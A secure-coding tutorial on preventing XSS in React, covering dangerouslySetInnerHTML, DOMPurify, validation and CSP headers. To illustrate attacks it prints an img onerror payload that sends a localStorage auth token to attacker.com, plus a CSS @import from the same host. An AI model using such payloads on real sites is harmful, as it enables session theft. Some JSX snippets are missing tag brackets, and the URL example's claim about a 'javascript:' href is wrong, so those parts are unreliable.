Skip to main content

Sanitize User Input to Prevent XSS in React

Cross-Site Scripting (XSS) attacks inject malicious JavaScript into your React app by exploiting how user input is rendered. The attack is possible when you render unsanitized HTML or eval-like patterns without escaping. React provides excellent default protection through automatic HTML escaping of text content, but developers often bypass that safety with dangerouslySetInnerHTML, string concatenation in JSX, or unsafe DOM manipulation. A single unsanitized <script> tag can steal authentication tokens from localStorage, hijack user sessions, or redirect users to phishing pages. This guide shows you how to recognize XSS vulnerabilities in React and patch them with proper input validation, sanitization libraries, and Content Security Policy headers.

How XSS Works in React

Most React rendering is safe by default. When you write:

function UserProfile({ userName }) {
return <div>Welcome, {userName}!</div>;
}

React automatically escapes the value of userName. If a user named their account <script>alert('xss')</script>, React renders it as literal text, not as executable code:

<!-- React renders it safely as: -->
<div>Welcome, <script&gt;alert('xss')</script&gt;!</div>

The problem arises when you use dangerouslySetInnerHTML, which intentionally bypasses escaping:

// UNSAFE: Do NOT do this with user input
function BlogPost({ htmlContent }) {
return <div dangerouslySetInnerHTML={{ __html: htmlContent }} />;
}

If htmlContent comes from a user or an untrusted API, an attacker can inject:

<img src=x onerror="fetch('https://attacker.com/steal?token=' + localStorage.getItem('authToken'))">

When this renders, the browser fires the onerror event, which sends the user's authentication token to the attacker's server. The attacker now has a valid session and can impersonate the user.

Recognizing XSS Vectors in Your Code

XSS vulnerabilities occur in these patterns:

  1. dangerouslySetInnerHTML with user-controlled data
  2. String concatenation in JSX: <a href={javascript:${userInput}}>Click</a>
  3. Setting DOM properties directly: element.innerHTML = userInput
  4. Rendering URLs without validation: <iframe src={userProvidedUrl} />
  5. Using eval() or Function() constructor (almost never safe)

Search your codebase for these patterns and assume they are vulnerable until proven otherwise:

grep -r "dangerouslySetInnerHTML" src/
grep -r "innerHTML" src/
grep -r "javascript:" src/
grep -r "eval(" src/

Safe Default: Text Content and JSX Variables

React's default escaping is sufficient for 90% of use cases. If you are rendering text content or simple variables, you don't need sanitization:

// Safe: React escapes all text content
function Comment({ text, author }) {
return (
div className="comment">
<p>{text}</p> {/* Automatically escaped */}
<small>By {author}</small> {/* Automatically escaped */}
/div>
);
}

Even if text contains <script>alert('xss')</script>, React renders it as literal text. No sanitization library needed.

When You Must Accept HTML: DOMPurify

If your application genuinely needs to render user-generated HTML (e.g., a rich text editor, a Markdown preview with HTML output), use a sanitization library like DOMPurify. DOMPurify removes dangerous tags and attributes while preserving safe HTML:

npm install dompurify
import DOMPurify from "dompurify";

function MarkdownPreview({ htmlContent }) {
// DOMPurify strips out <script>, event handlers, etc.
const cleanHtml = DOMPurify.sanitize(htmlContent);

return (
div dangerouslySetInnerHTML={{ __html: cleanHtml }} />
);
}

Input:

<h1>Hello</h1>
<script>alert('xss')</script>
<img src=x onerror="alert('xss')">
<p onclick="alert('xss')">Click me</p>

Output (after DOMPurify):

<h1>Hello</h1>
<img src="x">
<p>Click me</p>

DOMPurify removes the <script> tag, the onerror attribute, and the onclick handler, rendering the HTML safe to display.

You can configure DOMPurify to allow specific tags or attributes if needed:

const config = {
ALLOWED_TAGS: ["h1", "h2", "p", "strong", "em", "a"],
ALLOWED_ATTR: ["href", "title"],
ALLOW_DATA_ATTR: false
};

const cleanHtml = DOMPurify.sanitize(userHtml, config);

Input Validation and Escaping

For form inputs, validate on both client and server. Client-side validation improves UX; server-side validation is mandatory for security (attackers can bypass client-side checks).

function ContactForm() {
const [email, setEmail] = React.useState("");
const [error, setError] = React.useState("");

function handleChange(e) {
const value = e.target.value;

// Client-side validation for UX
if (value && !value.includes("@")) {
setError("Invalid email");
} else {
setError("");
}

setEmail(value);
}

async function handleSubmit(e) {
e.preventDefault();

// Server-side validation (mandatory)
const response = await fetch("/api/contact", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ email })
});

if (!response.ok) {
setError("Submission failed");
}
}

return (
form onSubmit={handleSubmit}>
<input
type="email"
value={email}
onChange={handleChange}
placeholder="[email protected]"
/>
{error && <p className="error">{error}</p>}
<button type="submit">Send</button>
/form>
);
}

Your backend validates the email format, checks for SQL injection patterns, and rejects anything suspicious. Never trust client-side validation alone.

Content Security Policy (CSP) Headers

Content Security Policy (CSP) is a browser security feature that restricts what inline scripts and external resources can run. Even if an attacker injects a <script> tag, the browser will block it if CSP is configured correctly.

Configure CSP headers from your backend (not in the React code):

// Express example
app.use((req, res, next) => {
res.setHeader(
"Content-Security-Policy",
"default-src 'self'; script-src 'self' cdn.example.com; style-src 'self' 'unsafe-inline'; img-src *; font-src 'self'"
);
next();
});

This policy says:

  • default-src 'self': Load resources only from your own domain.
  • script-src 'self' cdn.example.com: Allow scripts only from your domain or cdn.example.com.
  • style-src 'self' 'unsafe-inline': Allow styles from your domain (unsafe-inline for inline styles, use with caution).
  • img-src *: Allow images from any domain.
  • font-src 'self': Allow fonts only from your domain.

With this CSP in place, even if an attacker injects <script>alert('xss')</script>, the browser refuses to run it because the script is inline and not in the script-src allowlist.

XSS Attack Examples and Fixes

Vulnerable: User-generated comments with arbitrary HTML

// UNSAFE
function CommentDisplay({ comment }) {
return <div dangerouslySetInnerHTML={{ __html: comment.text }} />;
}

Fix: Use DOMPurify or render text-only:

// Safe option 1: Text-only (recommended)
function CommentDisplay({ comment }) {
return <div>{comment.text}</div>;
}

// Safe option 2: Sanitized HTML
import DOMPurify from "dompurify";
function CommentDisplay({ comment }) {
return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(comment.text) }} />;
}

Vulnerable: User input in URLs

// UNSAFE
function UserLink({ userId }) {
return <a href={`/user/${userId}`}>Profile</a>;
}

// If userId is "javascript:alert('xss')", the link is: <a href="javascript:alert('xss')">Profile</a>

Fix: Use relative paths and validate:

// Safe
function UserLink({ userId }) {
// Validate userId is numeric
if (!/^\d+$/.test(userId)) {
return null; // Reject invalid input
}
return <a href={`/user/${userId}`}>Profile</a>;
}

Vulnerable: Rendering user-provided JSON as code

// UNSAFE
function ConfigDisplay({ config }) {
return (
pre>
{JSON.stringify(config, null, 2)}
/pre>
);
}

// Safe (JSON.stringify already escapes, but be explicit)

This is actually safe because JSON.stringify returns a string, which React escapes. However, if you are using dangerouslySetInnerHTML with JSON, it is vulnerable.

Key Takeaways

  • React escapes text content by default; most code is safe without additional sanitization.
  • dangerouslySetInnerHTML bypasses escaping and must only be used with sanitized, trusted data.
  • Use DOMPurify to sanitize user-generated HTML before rendering.
  • Validate and escape all user input, especially URLs, HTML attributes, and JSON.
  • Implement Content Security Policy headers to block inline scripts and unauthorized resources.
  • Never use eval(), Function(), or string concatenation to build executable code.

Frequently Asked Questions

Is React's default escaping enough protection against XSS?

Yes, for text content. React automatically escapes when you use {variable} in JSX. The problem is that developers use dangerouslySetInnerHTML or other escape-bypassing patterns. If you avoid those, you are safe.

Does sanitizing user input with DOMPurify prevent all XSS?

DOMPurify prevents the most common XSS vectors, but it is not a silver bullet. Always combine it with Content Security Policy headers and input validation. Some edge cases (like CSS-based XSS in older browsers) may slip through, so defense-in-depth is important.

Can I trust the server to sanitize input, or must I sanitize on the frontend?

You must sanitize on both the frontend (for UX and client-side protection) and the backend (mandatory—never trust client-side validation). An attacker can bypass your frontend entirely and send malicious data directly to your API.

What is the difference between escaping and sanitizing?

Escaping converts special characters to their HTML entity equivalents (e.g., < becomes &lt;). Sanitizing removes or rewrites dangerous HTML tags and attributes. Escaping is better for text content; sanitizing is necessary for HTML content.

Are style tags safe to render with dangerouslySetInnerHTML?

Style tags themselves are not executable, but they can be used for CSS injection attacks (e.g., <style>@import url(https://attacker.com/steal.css);</style>). Use DOMPurify and configure it to allow only the tags and attributes you need.

Further Reading